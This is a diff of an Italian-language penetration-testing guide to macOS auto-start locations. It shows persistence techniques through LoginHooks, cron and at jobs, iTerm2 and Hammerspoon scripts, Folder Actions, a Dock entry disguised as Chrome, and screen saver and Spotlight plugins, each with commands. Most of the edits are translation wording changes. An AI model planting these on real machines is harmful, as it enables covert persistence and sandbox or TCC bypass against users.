@ -186,7 +186,7 @@ Per **aggiungere un'applicazione a questa lista** puoi utilizzare:
|
|||
* **`~/Library/Preferences/com.apple.Terminal.plist`**
|
||||
* **Trigger**: Aprire il Terminale
|
||||
|
||||
#### Descrizione ed Sfruttamento
|
||||
#### Descrizione ed Esploito
|
||||
|
||||
In **`~/Library/Preferences`** vengono memorizzate le preferenze dell'utente nelle Applicazioni. Alcune di queste preferenze possono contenere una configurazione per **eseguire altre applicazioni/script**.
|
||||
|
||||
|
@ -229,18 +229,18 @@ Puoi aggiungere questo da cli con:
|
|||
|
||||
* Utile per aggirare il sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Bypass TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Il terminale utilizza le autorizzazioni FDA dell'utente se lo si utilizza
|
||||
* Il terminale utilizza le autorizzazioni FDA dell'utente se utilizzato
|
||||
|
||||
#### Posizione
|
||||
|
||||
* **Ovunque**
|
||||
* **Trigger**: Aprire il Terminale
|
||||
* **Trigger**: Apri il Terminale
|
||||
|
||||
#### Descrizione & Sfruttamento
|
||||
|
||||
Se crei uno script [**`.terminal`**](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) e lo apri, l'applicazione **Terminale** verrà automaticamente invocata per eseguire i comandi indicati al suo interno. Se l'applicazione Terminale ha alcuni privilegi speciali (come TCC), il tuo comando verrà eseguito con quei privilegi speciali.
|
||||
|
||||
Prova con:
|
||||
Provalo con:
|
||||
```bash
|
||||
# Prepare the payload
|
||||
cat > /tmp/test.terminal << EOF
|
||||
|
@ -281,7 +281,7 @@ Descrizione: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](http
|
|||
|
||||
* Utile per aggirare il sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Bypass TCC: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Potresti ottenere alcuni accessi TCC extra
|
||||
* Potresti ottenere ulteriori accessi TCC
|
||||
|
||||
#### Posizione
|
||||
|
||||
|
@ -307,23 +307,23 @@ Descrizione: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevil
|
|||
|
||||
* Utile per aggirare il sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Bypass TCC: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Potresti ottenere alcuni accessi TCC extra
|
||||
* Potresti ottenere ulteriori accessi TCC
|
||||
|
||||
#### Posizione
|
||||
|
||||
* `/System/Library/QuickLook`
|
||||
* `/Library/QuickLook`
|
||||
* `~/Library/QuickLook`
|
||||
* `/Applications/NomeAppQui/Contents/Library/QuickLook/`
|
||||
* `~/Applications/NomeAppQui/Contents/Library/QuickLook/`
|
||||
* `/Applications/NomeApplicazioneQui/Contents/Library/QuickLook/`
|
||||
* `~/Applications/NomeApplicazioneQui/Contents/Library/QuickLook/`
|
||||
|
||||
#### Descrizione ed Esploito
|
||||
#### Descrizione & Sfruttamento
|
||||
|
||||
I plugin QuickLook possono essere eseguiti quando **si attiva l'anteprima di un file** (premere la barra spaziatrice con il file selezionato in Finder) e un **plugin che supporta quel tipo di file** è installato.
|
||||
I plugin QuickLook possono essere eseguiti quando **si attiva l'anteprima di un file** (premere la barra spaziatrice con il file selezionato in Finder) e è installato un **plugin che supporta quel tipo di file**.
|
||||
|
||||
È possibile compilare il proprio plugin QuickLook, posizionarlo in una delle posizioni precedenti per caricarlo e quindi andare su un file supportato e premere spazio per attivarlo.
|
||||
|
||||
### ~~Hook di Login/Logout~~
|
||||
### ~~Hook di Accesso/Logout~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
Questo non ha funzionato per me, né con il LoginHook dell'utente né con il LogoutHook di root
|
||||
|
@ -337,7 +337,7 @@ Questo non ha funzionato per me, né con il LoginHook dell'utente né con il Log
|
|||
#### Posizione
|
||||
|
||||
* È necessario essere in grado di eseguire qualcosa come `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`
|
||||
* Situato in `~/Library/Preferences/com.apple.loginwindow.plist`
|
||||
* `Lo`calizzato in `~/Library/Preferences/com.apple.loginwindow.plist`
|
||||
|
||||
Sono deprecati ma possono essere utilizzati per eseguire comandi quando un utente accede.
|
||||
```bash
|
||||
|
@ -380,13 +380,13 @@ Qui puoi trovare posizioni di avvio utili per il **bypass della sandbox** che ti
|
|||
|
||||
* Utile per bypassare la sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Tuttavia, è necessario essere in grado di eseguire il binario `crontab`
|
||||
* O essere root
|
||||
* Oppure essere root
|
||||
* Bypass TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Posizione
|
||||
|
||||
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`**
|
||||
* Root richiesto per l'accesso diretto in scrittura. Nessun accesso root richiesto se puoi eseguire `crontab <file>`
|
||||
* Root richiesto per l'accesso diretto in scrittura. Nessun root richiesto se puoi eseguire `crontab <file>`
|
||||
* **Trigger**: Dipende dal lavoro cron
|
||||
|
||||
#### Descrizione ed Esploito
|
||||
|
@ -397,12 +397,12 @@ crontab -l
|
|||
```
|
||||
Puoi vedere anche tutti i lavori cron degli utenti in **`/usr/lib/cron/tabs/`** e **`/var/at/tabs/`** (necessita privilegi di root).
|
||||
|
||||
In MacOS è possibile trovare diverse cartelle che eseguono script con **certa frequenza**:
|
||||
In MacOS è possibile trovare diverse cartelle che eseguono script con **certa frequenza** in:
|
||||
```bash
|
||||
# The one with the cron jobs is /usr/lib/cron/tabs/
|
||||
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
|
||||
```
|
||||
Qui puoi trovare i regolari **compiti cron**, i **compiti at** (non molto usati) e i **compiti periodici** (principalmente utilizzati per pulire i file temporanei). I compiti periodici giornalieri possono essere eseguiti ad esempio con: `periodic daily`.
|
||||
Ecco dove puoi trovare i regolari **compiti cron**, i **compiti at** (non molto usati) e i **compiti periodici** (principalmente utilizzati per pulire i file temporanei). I compiti periodici giornalieri possono essere eseguiti ad esempio con: `periodic daily`.
|
||||
|
||||
Per aggiungere un **compito cron utente programmaticamente** è possibile utilizzare:
|
||||
```bash
|
||||
|
@ -415,7 +415,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.
|
|||
|
||||
* Utile per bypassare il sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Bypass TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
* iTerm2 usato per avere i permessi TCC concessi
|
||||
* iTerm2 ha ottenuto le autorizzazioni TCC
|
||||
|
||||
#### Posizioni
|
||||
|
||||
|
@ -437,46 +437,24 @@ EOF
|
|||
|
||||
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
|
||||
```
|
||||
# macOS Auto Start Locations
|
||||
# Posizioni di avvio automatico di macOS
|
||||
|
||||
## Launch Agents
|
||||
In macOS, ci sono diverse posizioni in cui i programmi possono essere configurati per avviarsi automaticamente all'avvio del sistema. Questo può essere utile per garantire che determinate applicazioni siano sempre in esecuzione o per semplificare determinate attività.
|
||||
|
||||
### Global
|
||||
Ecco alcune delle posizioni comuni in cui è possibile trovare programmi di avvio automatico su macOS:
|
||||
|
||||
- `/Library/LaunchAgents`
|
||||
- `/Library/LaunchDaemons`
|
||||
1. **Login Items**: Questa è una funzionalità integrata di macOS che consente agli utenti di specificare quali applicazioni devono essere avviate all'accesso. È possibile gestire queste impostazioni nelle Preferenze di Sistema.
|
||||
|
||||
### Per-User
|
||||
2. **Launch Agents e Launch Daemons**: Questi sono file di configurazione utilizzati da launchd, il demone di avvio di macOS, per avviare e gestire processi all'avvio del sistema o in risposta a determinati eventi. Questi file si trovano comunemente nelle seguenti cartelle:
|
||||
- `/Library/LaunchAgents`
|
||||
- `/Library/LaunchDaemons`
|
||||
- `/System/Library/LaunchAgents`
|
||||
- `/System/Library/LaunchDaemons`
|
||||
- `~/Library/LaunchAgents`
|
||||
|
||||
- `~/Library/LaunchAgents`
|
||||
3. **Script di login**: Gli script di login possono essere utilizzati per avviare programmi o eseguire comandi all'accesso dell'utente. Questi script possono essere configurati per utenti specifici o per tutti gli utenti del sistema.
|
||||
|
||||
## Launch Daemons
|
||||
|
||||
### Global
|
||||
|
||||
- `/Library/LaunchDaemons`
|
||||
|
||||
## Startup Items
|
||||
|
||||
- `/Library/StartupItems`
|
||||
|
||||
## Login Items
|
||||
|
||||
- System Preferences > Users & Groups > Login Items
|
||||
|
||||
## Cron Jobs
|
||||
|
||||
- `crontab -l`
|
||||
- `sudo crontab -l`
|
||||
|
||||
## Startup Programs
|
||||
|
||||
- System Preferences > Users & Groups > Login Items
|
||||
|
||||
## Other Locations
|
||||
|
||||
- `/System/Library/LaunchAgents`
|
||||
- `/System/Library/LaunchDaemons`
|
||||
Assicurarsi di esaminare e gestire attentamente i programmi di avvio automatico su macOS per garantire che il sistema sia configurato in modo sicuro e efficiente.
|
||||
```bash
|
||||
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
|
||||
#!/usr/bin/env python3
|
||||
|
@ -572,9 +550,9 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
|
|||
|
||||
#### Descrizione
|
||||
|
||||
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) funge da piattaforma di automazione per **macOS**, sfruttando il linguaggio di scripting **LUA** per le sue operazioni. In particolare, supporta l'integrazione di codice AppleScript completo e l'esecuzione di script shell, migliorando significativamente le sue capacità di scripting.
|
||||
[Hammerspoon](https://github.com/Hammerspoon/hammerspoon) funge da piattaforma di automazione per **macOS**, sfruttando il **linguaggio di scripting LUA** per le sue operazioni. In particolare, supporta l'integrazione di codice AppleScript completo e l'esecuzione di script shell, migliorando significativamente le sue capacità di scripting.
|
||||
|
||||
L'app cerca un singolo file, `~/.hammerspoon/init.lua`, e quando avviato lo script verrà eseguito.
|
||||
L'app cerca un singolo file, `~/.hammerspoon/init.lua`, e quando viene avviato lo script verrà eseguito.
|
||||
```bash
|
||||
mkdir -p "$HOME/.hammerspoon"
|
||||
cat > "$HOME/.hammerspoon/init.lua" << EOF
|
||||
|
@ -599,7 +577,7 @@ Questo strumento consente di indicare le applicazioni o script da eseguire quand
|
|||
* Utile per bypassare il sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Ma Alfred deve essere installato
|
||||
* Bypass TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Richiede le autorizzazioni Automazione, Accessibilità e persino Accesso completo al disco
|
||||
* Richiede le autorizzazioni Automazione, Accessibilità e persino accesso completo al disco
|
||||
|
||||
#### Posizione
|
||||
|
||||
|
@ -614,7 +592,7 @@ Articolo: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit
|
|||
* Utile per bypassare il sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Ma ssh deve essere abilitato e utilizzato
|
||||
* Bypass TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
* SSH ha accesso FDA
|
||||
* SSH ha accesso completo al disco
|
||||
|
||||
#### Posizione
|
||||
|
||||
|
@ -625,7 +603,7 @@ Articolo: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit
|
|||
* **Trigger**: Accesso tramite ssh
|
||||
|
||||
{% hint style="danger" %}
|
||||
Per attivare ssh è necessario l'Accesso completo al disco:
|
||||
Per attivare ssh è necessario l'accesso completo al disco:
|
||||
```bash
|
||||
sudo systemsetup -setremotelogin on
|
||||
```
|
||||
|
@ -637,9 +615,9 @@ Per impostazione predefinita, a meno che `PermitUserRC no` in `/etc/ssh/sshd_con
|
|||
|
||||
### **Elementi di Login**
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/)
|
||||
Descrizione: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/)
|
||||
|
||||
* Utile per bypassare il sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Utile per aggirare il sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Ma è necessario eseguire `osascript` con argomenti
|
||||
* Bypass TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
|
@ -670,11 +648,11 @@ Questi elementi sono memorizzati nel file **`~/Library/Application Support/com.a
|
|||
|
||||
Gli **elementi di accesso** possono **anche** essere indicati utilizzando l'API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) che memorizzerà la configurazione in **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
|
||||
|
||||
### ZIP come elemento di accesso
|
||||
### ZIP come Elemento di Accesso
|
||||
|
||||
(Controlla la sezione precedente sugli Elementi di Accesso, questa è un'estensione)
|
||||
|
||||
Se si memorizza un file **ZIP** come un **Elemento di Accesso**, l'**`Utility di Archiviazione`** lo aprirà e se ad esempio lo ZIP fosse memorizzato in **`~/Library`** e contenesse la Cartella **`LaunchAgents/file.plist`** con un backdoor, quella cartella verrà creata (non lo è di default) e il plist verrà aggiunto in modo che la prossima volta che l'utente effettuerà nuovamente l'accesso, il **backdoor indicato nel plist verrà eseguito**.
|
||||
Se si memorizza un file **ZIP** come **Elemento di Accesso**, l'**`Utility Archivio`** lo aprirà e se ad esempio lo ZIP fosse memorizzato in **`~/Library`** e contenesse la Cartella **`LaunchAgents/file.plist`** con un backdoor, quella cartella verrà creata (non lo è di default) e il plist verrà aggiunto in modo che la prossima volta che l'utente effettuerà nuovamente l'accesso, il **backdoor indicato nel plist verrà eseguito**.
|
||||
|
||||
Un'altra opzione sarebbe creare i file **`.bash_profile`** e **`.zshenv`** all'interno della HOME dell'utente in modo che se la cartella LaunchAgents esiste già, questa tecnica funzionerebbe comunque.
|
||||
|
||||
|
@ -684,7 +662,7 @@ Articolo: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit
|
|||
|
||||
* Utile per aggirare il sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Ma è necessario **eseguire** **`at`** e deve essere **abilitato**
|
||||
* Bypass di TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
* Bypass TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Posizione
|
||||
|
||||
|
@ -702,7 +680,7 @@ Questo creerà un file in 1 ora:
|
|||
```bash
|
||||
echo "echo 11 > /tmp/at.txt" | at now+1
|
||||
```
|
||||
Controlla la coda dei lavori utilizzando `atq`:
|
||||
Controlla la coda dei lavori utilizzando `atq:`
|
||||
```shell-session
|
||||
sh-3.2# atq
|
||||
26 Tue Apr 27 00:46:00 2021
|
||||
|
@ -752,13 +730,13 @@ total 32
|
|||
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
|
||||
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
|
||||
```
|
||||
Il nome del file contiene la coda, il numero del lavoro e l'ora in cui è programmato per essere eseguito. Ad esempio, prendiamo `a0001a019bdcd2`.
|
||||
Il nome del file contiene la coda, il numero del lavoro e l'ora in cui è programmato per essere eseguito. Ad esempio, prendiamo in considerazione `a0001a019bdcd2`.
|
||||
|
||||
* `a` - questa è la coda
|
||||
* `0001a` - numero del lavoro in esadecimale, `0x1a = 26`
|
||||
* `019bdcd2` - tempo in esadecimale. Rappresenta i minuti trascorsi dall'epoca. `0x019bdcd2` è `26991826` in decimale. Moltiplicandolo per 60 otteniamo `1619509560`, che corrisponde a `GMT: 2021. April 27., Tuesday 7:46:00`.
|
||||
* `019bdcd2` - tempo in esadecimale. Rappresenta i minuti trascorsi dall'epoca. `0x019bdcd2` corrisponde a `26991826` in decimale. Moltiplicandolo per 60 otteniamo `1619509560`, che corrisponde a `GMT: 2021. April 27., Tuesday 7:46:00`.
|
||||
|
||||
Se stampiamo il file di lavoro, scopriamo che contiene le stesse informazioni ottenute utilizzando `at -c`.
|
||||
Se stampiamo il file del lavoro, scopriamo che contiene le stesse informazioni ottenute utilizzando `at -c`.
|
||||
|
||||
### Azioni della Cartella
|
||||
|
||||
|
@ -768,12 +746,12 @@ Descrizione: [https://posts.specterops.io/folder-actions-for-persistence-on-maco
|
|||
* Utile per aggirare il sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Ma è necessario essere in grado di chiamare `osascript` con argomenti per contattare **`System Events`** per poter configurare le Azioni della Cartella
|
||||
* Bypass TCC: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Ha alcune autorizzazioni di base TCC come Desktop, Documenti e Download
|
||||
* Ha alcune autorizzazioni TCC di base come Desktop, Documenti e Download
|
||||
|
||||
#### Posizione
|
||||
|
||||
* **`/Library/Scripts/Folder Action Scripts`**
|
||||
* Richiede privilegi di root
|
||||
* Richiede privilegi di amministratore
|
||||
* **Trigger**: Accesso alla cartella specificata
|
||||
* **`~/Library/Scripts/Folder Action Scripts`**
|
||||
* **Trigger**: Accesso alla cartella specificata
|
||||
|
@ -813,7 +791,7 @@ var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
|
|||
se.folderActions.push(fa);
|
||||
fa.scripts.push(myScript);
|
||||
```
|
||||
Esegui lo script di configurazione con:
|
||||
Esegui lo script di installazione con:
|
||||
```bash
|
||||
osascript -l JavaScript /Users/username/attach.scpt
|
||||
```
|
||||
|
@ -839,9 +817,9 @@ Spostalo in:
|
|||
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
|
||||
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
||||
```
|
||||
Quindi, apri l'applicazione `Folder Actions Setup`, seleziona la **cartella che desideri monitorare** e seleziona nel tuo caso **`folder.scpt`** (nel mio caso l'ho chiamato output2.scp):
|
||||
Quindi, apri l'applicazione `Folder Actions Setup`, seleziona la **cartella che desideri monitorare** e seleziona nel tuo caso **`folder.scpt`** (nel mio caso l'ho chiamata output2.scp):
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||
|
||||
Ora, se apri quella cartella con **Finder**, lo script verrà eseguito.
|
||||
|
||||
|
@ -849,11 +827,11 @@ Questa configurazione è stata memorizzata nel **plist** situato in **`~/Library
|
|||
|
||||
Ora, proviamo a preparare questa persistenza senza accesso GUI:
|
||||
|
||||
1. **Copia `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** in `/tmp` per farne il backup:
|
||||
1. **Copia `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** in `/tmp` per fare un backup:
|
||||
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
|
||||
2. **Rimuovi** le Folder Actions appena impostate:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ora che abbiamo un ambiente vuoto
|
||||
|
||||
|
@ -861,7 +839,7 @@ Ora che abbiamo un ambiente vuoto
|
|||
4. Apri l'app Folder Actions Setup.app per consumare questa configurazione: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
|
||||
|
||||
{% hint style="danger" %}
|
||||
E questo non ha funzionato per me, ma queste sono le istruzioni della guida:(
|
||||
E questo non ha funzionato per me, ma queste sono le istruzioni della guida :(
|
||||
{% endhint %}
|
||||
|
||||
### Scorciatoie Dock
|
||||
|
@ -875,7 +853,7 @@ Guida: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.gi
|
|||
#### Posizione
|
||||
|
||||
* `~/Library/Preferences/com.apple.dock.plist`
|
||||
* **Trigger**: Quando l'utente fa clic sull'app all'interno del dock
|
||||
* **Trigger**: Quando l'utente fa clic sull'applicazione nel dock
|
||||
|
||||
#### Descrizione ed Esploito
|
||||
|
||||
|
@ -893,7 +871,7 @@ killall Dock
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Utilizzando un po' di **ingegneria sociale** potresti **fingere di essere ad esempio Google Chrome** nella dock e in realtà eseguire il tuo script:
|
||||
Utilizzando un po' di **ingegneria sociale** potresti **fingerti ad esempio Google Chrome** nella dock e effettivamente eseguire il tuo script:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
|
@ -948,12 +926,12 @@ killall Dock
|
|||
```
|
||||
### Selezionatori di colore
|
||||
|
||||
Spiegazione: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
|
||||
|
||||
* Utile per aggirare il sandbox: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* È necessaria un'azione molto specifica
|
||||
* Deve verificarsi un'azione molto specifica
|
||||
* Si finirà in un altro sandbox
|
||||
* Bypass di TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
* Bypass TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Posizione
|
||||
|
||||
|
@ -963,9 +941,9 @@ Spiegazione: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilb
|
|||
* `~/Library/ColorPickers`
|
||||
* Trigger: Utilizzare il selettore di colore
|
||||
|
||||
#### Descrizione ed Exploit
|
||||
#### Descrizione & Exploit
|
||||
|
||||
**Compila un bundle** selettore di colore con il tuo codice (potresti utilizzare [**questo ad esempio**](https://github.com/viktorstrate/color-picker-plus)) e aggiungi un costruttore (come nella sezione [Screen Saver](macos-auto-start-locations.md#screen-saver)) e copia il bundle in `~/Library/ColorPickers`.
|
||||
**Compilare un bundle** selettore di colore con il tuo codice (potresti utilizzare [**questo ad esempio**](https://github.com/viktorstrate/color-picker-plus)) e aggiungere un costruttore (come nella sezione [Screen Saver](macos-auto-start-locations.md#screen-saver)) e copiare il bundle in `~/Library/ColorPickers`.
|
||||
|
||||
Quindi, quando il selettore di colore viene attivato, anche il tuo codice dovrebbe essere attivato.
|
||||
|
||||
|
@ -985,7 +963,7 @@ Nota che il binario che carica la tua libreria ha un **sandbox molto restrittivo
|
|||
**Descrizione**: [https://theevilbit.github.io/beyond/beyond\_0026/](https://theevilbit.github.io/beyond/beyond\_0026/)\
|
||||
**Descrizione**: [https://objective-see.org/blog/blog\_0x11.html](https://objective-see.org/blog/blog\_0x11.html)
|
||||
|
||||
* Utile per aggirare il sandbox: **No, perché è necessario eseguire la propria app**
|
||||
* Utile per bypassare il sandbox: **No, perché è necessario eseguire la propria app**
|
||||
* Bypass TCC: ???
|
||||
|
||||
#### Posizione
|
||||
|
@ -1003,10 +981,10 @@ pluginkit -e use -i com.example.InSync.InSync
|
|||
```
|
||||
### Screen Saver
|
||||
|
||||
Scrittura: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\
|
||||
Scrittura: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\
|
||||
Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
|
||||
|
||||
* Utile per aggirare il sandbox: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Utile per bypassare il sandbox: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Ma finirai in un sandbox di un'applicazione comune
|
||||
* Bypass TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
|
@ -1021,13 +999,13 @@ Scrittura: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https:/
|
|||
* `~/Library/Screen Savers`
|
||||
* **Trigger**: Seleziona lo screen saver
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
#### Descrizione & Exploit
|
||||
|
||||
Crea un nuovo progetto in Xcode e seleziona il template per generare un nuovo **Screen Saver**. Quindi, aggiungi del codice, ad esempio il seguente codice per generare log.
|
||||
|
||||
**Compilalo**, e copia il bundle `.saver` in **`~/Library/Screen Savers`**. Quindi, apri l'interfaccia grafica dello Screen Saver e se ci fai clic sopra, dovrebbe generare molti log:
|
||||
**Compilalo**, e copia il bundle `.saver` in **`~/Library/Screen Savers`**. Successivamente, apri l'interfaccia grafica dello Screen Saver e se ci clicchi sopra, dovrebbe generare molti log:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -1041,7 +1019,7 @@ Timestamp (process)[PID]
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
Nota che poiché all'interno dei diritti del binario che carica questo codice (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) puoi trovare **`com.apple.security.app-sandbox`** sarai **all'interno del sandbox dell'applicazione comune**.
|
||||
Si noti che poiché all'interno dei diritti del binario che carica questo codice (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) è possibile trovare **`com.apple.security.app-sandbox`** sarai **all'interno del sandbox dell'applicazione comune**.
|
||||
{% endhint %}
|
||||
|
||||
Codice Saver:
|
||||
|
@ -1125,24 +1103,24 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.
|
|||
* **Trigger**: Viene creato un nuovo file con un'estensione gestita dal plugin di Spotlight.
|
||||
* `/Library/Spotlight/`
|
||||
* **Trigger**: Viene creato un nuovo file con un'estensione gestita dal plugin di Spotlight.
|
||||
* Richiesto accesso come root
|
||||
* Richiesto il permesso di root
|
||||
* `/System/Library/Spotlight/`
|
||||
* **Trigger**: Viene creato un nuovo file con un'estensione gestita dal plugin di Spotlight.
|
||||
* Richiesto accesso come root
|
||||
* Richiesto il permesso di root
|
||||
* `Some.app/Contents/Library/Spotlight/`
|
||||
* **Trigger**: Viene creato un nuovo file con un'estensione gestita dal plugin di Spotlight.
|
||||
* Richiesta nuova app
|
||||
* Richiesta una nuova app
|
||||
|
||||
#### Descrizione ed Esploitation
|
||||
|
||||
Spotlight è la funzione di ricerca integrata di macOS, progettata per fornire agli utenti un **accesso rapido e completo ai dati sui loro computer**.\
|
||||
Per facilitare questa rapida capacità di ricerca, Spotlight mantiene un **database proprietario** e crea un indice **analizzando la maggior parte dei file**, consentendo ricerche rapide sia attraverso i nomi dei file che attraverso i loro contenuti.
|
||||
|
||||
Il meccanismo sottostante di Spotlight coinvolge un processo centrale chiamato 'mds', che sta per **'metadata server'**. Questo processo orchestrare l'intero servizio di Spotlight. A complemento di questo, ci sono diversi demoni 'mdworker' che svolgono una varietà di compiti di manutenzione, come l'indicizzazione di diversi tipi di file (`ps -ef | grep mdworker`). Questi compiti sono resi possibili attraverso i plugin importatori di Spotlight, o **".mdimporter bundles**", che consentono a Spotlight di comprendere e indicizzare contenuti in una vasta gamma di formati di file.
|
||||
Il meccanismo sottostante di Spotlight coinvolge un processo centrale chiamato 'mds', che sta per **'metadata server'**. Questo processo coordina l'intero servizio di Spotlight. A complemento di questo, ci sono diversi demoni 'mdworker' che svolgono una varietà di compiti di manutenzione, come l'indicizzazione di diversi tipi di file (`ps -ef | grep mdworker`). Questi compiti sono resi possibili attraverso i plugin di importazione di Spotlight, o **".mdimporter bundles**", che consentono a Spotlight di comprendere e indicizzare contenuti in una vasta gamma di formati di file.
|
||||
|
||||
I plugin o **bundle `.mdimporter`** si trovano nei luoghi menzionati in precedenza e se compare un nuovo bundle viene caricato entro un minuto (non è necessario riavviare nessun servizio). Questi bundle devono indicare quali **tipi di file ed estensioni possono gestire**, in questo modo, Spotlight li utilizzerà quando viene creato un nuovo file con l'estensione indicata.
|
||||
|
||||
È possibile **trovare tutti i `mdimporter`** caricati eseguendo:
|
||||
È possibile **trovare tutti i `mdimporters`** caricati eseguendo:
|
||||
```bash
|
||||
mdimport -L
|
||||
Paths: id(501) (
|
||||
|
@ -1188,12 +1166,12 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
[...]
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Se controlli il Plist di altri `mdimporter`, potresti non trovare l'ingresso **`UTTypeConformsTo`**. Questo perché è un _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) integrato e non ha bisogno di specificare estensioni.
|
||||
Se controlli il Plist di altri `mdimporter`, potresti non trovare l'ingresso **`UTTypeConformsTo`**. Questo perché si tratta di un _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) integrato e non ha bisogno di specificare estensioni.
|
||||
|
||||
Inoltre, i plugin predefiniti di sistema hanno sempre la precedenza, quindi un attaccante può accedere solo ai file che non sono altrimenti indicizzati dai `mdimporters` di Apple.
|
||||
{% endhint %}
|
||||
|
||||
